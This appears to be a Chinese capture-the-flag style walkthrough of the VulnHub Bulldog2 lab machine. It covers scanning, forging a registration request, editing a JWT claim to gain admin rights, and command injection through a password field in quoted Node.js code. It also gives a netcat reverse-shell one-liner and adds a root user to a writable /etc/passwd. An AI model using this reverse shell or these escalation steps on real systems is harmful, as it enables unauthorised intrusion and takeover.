一、实验环境
-
靶机下载:
http://download.vulnhub.com/bulldog/Bulldog2.ova
或http://download.vulnhub.com/bulldog/Bulldog2.ova.torrent
-
靶机:ip暂未知
-
攻击机kali:192.168.0.150
二、实验步骤
(1)信息收集
1、主机发现
![](https://damoxilai.github.io/post-images/1629125130606.png)
找到目标主机:192.168.0.101
2.端口扫描操作系统扫描
![](https://damoxilai.github.io/post-images/1629125142020.png)
为防止漏扫,多扫描几次,可发现主机80端口开放http服务,Linux操作系统
(2)Web渗透
1.访问80端口
![](https://damoxilai.github.io/post-images/1629125159984.png)
没有什么收获
2.扫描目录
![](https://damoxilai.github.io/post-images/1629125168354.png)
目录下没什么收获
首页调用了四个js文件,突破口可能在js文件里
访问该靶机80端口,查看其js,保存本地并用网上js美化工具把代码美化一下😂
3.审计js代码
拿到代码,联想到刚才首页注册不了,注册页面功能没有。查看”register“关键字,有所发现:
![](https://damoxilai.github.io/post-images/1629125177725.png)
![](https://damoxilai.github.io/post-images/1629125185501.png)
根据 js定义,我们可以使用 post提交来实现注册,但是注意
- Content-Type必须要是:application/json 格式
- post数据包内容必须按照js代码里的规范
4.伪造数据包
我们打开burp,构造数据包,发送后注册成功
![](https://damoxilai.github.io/post-images/1629125193632.png)
{
"name": "linan",
"email": "linan@qq.com",
"username": "linan",
"password": "123456"
}
5.登陆
![](https://damoxilai.github.io/post-images/1629125206673.png)
登陆成功
查看登陆抓包,发现可疑tonken
![](https://damoxilai.github.io/post-images/1629125218766.png)
6.解密tonken并修改
6.1根据提示,jwt解密
网址:https://jwt.io
![](https://damoxilai.github.io/post-images/1629125229008.png)
有一个payload的键值对,值是我们的用户信息,发现多一行"auth_level": "standard_user",凭字面意思应该是用户等级的标志,可能是以此来判断用户权限的,到js代码中找这个关键字。
![](https://damoxilai.github.io/post-images/1629125236285.png)
if ("master_admin_user" == n.auth_level) return this.user = n, !0;
6.2把"auth_level": "standard_user"替换"auth_level": "master_admin_user"
{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiJsaW5hbiIsImVtYWlsIjoibGluYW5AcXEuY29tIiwidXNlcm5hbWUiOiJsaW5hbiIsImF1dGhfbGV2ZWwiOiJtYXN0ZXJfYWRtaW5fdXNlciJ9LCJpYXQiOjE2Mjg5NDc0MzQsImV4cCI6MTYyOTU1MjIzNH0.7N4Xj5dQuGWsv6iTWEyuXCWSsJcotzdX_EtM-uQEEhc","user":{"name":"linan","username":"linan","email":"linan@qq.com","auth_level":"master_admin_user"}
拦截返回的response数据包,修改tonken值
发现页面右上角,已经变为admin
![](https://damoxilai.github.io/post-images/1629125263805.png)
说明存在垂直越权漏洞
7.命令执行漏洞 反弹shell
7.1
![](https://damoxilai.github.io/post-images/1629125273521.png)
在GitHub上搜索Bulldog-2-The-Reckoning的代码,密码处存在命令执行漏洞
user.js
router.post('/linkauthenticate', (req, res, next) => {
const username = req.body.password;
const password = req.body.password;
exec(`linkplus -u ${username} -p ${password}`, (error, stdout, stderr) => {
if (error) {
console.error(`exec error: ${error}`);
return;
}
console.log(`stdout: ${stdout}`);
console.log(`stderr: ${stderr}`);});
原文链接:https://blog.csdn.net/qq_42288123/article/details/103534109
7.2反弹shell安排
命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.150 1234 >/tmp/f
![](https://damoxilai.github.io/post-images/1629125283051.png)
得到shell
![](https://damoxilai.github.io/post-images/1629125291331.png)
8.提权
8.1进入/etc目录下,发现password文件的权限大得要命,意味着我们可以随意修改,写入一个管理员权限的用户
![](https://damoxilai.github.io/post-images/1629125301396.png)
8.2可以仿照这个格式写入一个管理员权限的用户
![](https://damoxilai.github.io/post-images/1629125311329.png)
使用加密命令,得到一个加密后的密码。设定123456为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数。
perl -le 'print crypt("123456","aa")'
得到结果
![](https://damoxilai.github.io/post-images/1629125323459.png)
8.3将linan这个用户写入passwd文件
echo 'linan:aaAN1ZUwjW7to:0:0:linan:/root:/bin/bash' >> passwd
写入成功
8.4直接su/sudo不行,python调用一个新的本地终端,再来su,成功
![](https://damoxilai.github.io/post-images/1629125334960.png)
三、实验总结
(1)js代码获取注册方法,POST方法传递application/json格式的注册信息
(2)token中jwt解密,更改权限,实现垂直越权漏洞
(3)Bulldog-2-The-Reckoning存在密码处命令执行漏洞,实现反弹shell
(4)passwd有写权限,可依照root新建一个root权限的用户